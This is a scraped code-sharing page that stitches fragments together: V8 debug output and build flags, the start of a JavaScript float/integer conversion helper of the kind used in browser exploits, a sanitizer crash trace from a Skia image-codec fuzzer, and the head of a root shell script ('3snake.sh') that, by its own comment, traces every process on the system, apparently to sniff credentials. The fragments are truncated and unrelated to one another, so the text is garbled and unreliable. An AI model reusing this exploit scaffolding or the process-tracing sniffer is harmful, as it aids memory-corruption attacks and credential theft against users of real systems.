Skip to content

Instantly share code, notes, and snippets.

0x8247399
0x82166d9
0x2
0x8215ed9
0x8215f79
DebugPrint: 0x2beb08215ee9: [JSArray] in OldSpace
- map: 0x2beb08247399 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x2beb0820b899 <JSArray[1]>
- elements: 0x2beb08215ed9 <FixedDoubleArray[1]> [HOLEY_DOUBLE_ELEMENTS]
- length: 1
#!/bin/bash
gn gen out/x64.release --args='is_debug=false target_cpu="x64" symbol_level=2 v8_enable_object_print=true v8_enable_backtrace=true'
ninja -C out/x64.release d8
class Helpers {
constructor() {
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
}
ftoil(f) {
this.f64[0] = f;
return this.u32[0]
==20631==Hint: address points to the zero page.
#0 0x7f8db6 in SkCodec::getPixels(SkImageInfo const&, void*, unsigned long, SkCodec::Options const*) /home/n/trees/skia/webp/skia/out/release/../../src/codec/SkCodec.cpp:375:33
#1 0x7f6d38 in SkAndroidCodecAdapter::onGetAndroidPixels(SkImageInfo const&, void*, unsigned long, SkAndroidCodec::AndroidOptions const&) /home/n/trees/skia/webp/skia/out/release/../../src/codec/SkAndroidCodecAdapter.cpp:29:27
#2 0x7f6173 in SkAndroidCodec::getAndroidPixels(SkImageInfo const&, void*, unsigned long, SkAndroidCodec::AndroidOptions const*) /home/n/trees/skia/webp/skia/out/release/../../src/codec/SkAndroidCodec.cpp:391:22
#3 0x5538cc in FuzzAndroidCodec(sk_sp<SkData>, unsigned char) /home/n/trees/skia/webp/skia/out/release/../../fuzz/oss_fuzz/FuzzAndroidCodec.cpp:33:26
#4 0x553cee in LLVMFuzzerTestOneInput /home/n/trees/skia/webp/skia/out/release/../../fuzz/oss_fuzz/FuzzAndroidCodec.cpp:60:5
#5 0x4ee51d in fuzzer::Fuzzer::ExecuteCallback(unsigned char
@blendin
blendin / 3snake.sh
Created February 8, 2018 22:01
3snake.sh
#!/bin/bash
# pretty well known, if you have root you can trace all processe on the system
OUTFILE="/tmp/test"
if [[ $EUID -ne 0 ]];
then
echo "Need root"
echo "$EUID"
[ $PS1 ] && return || exit;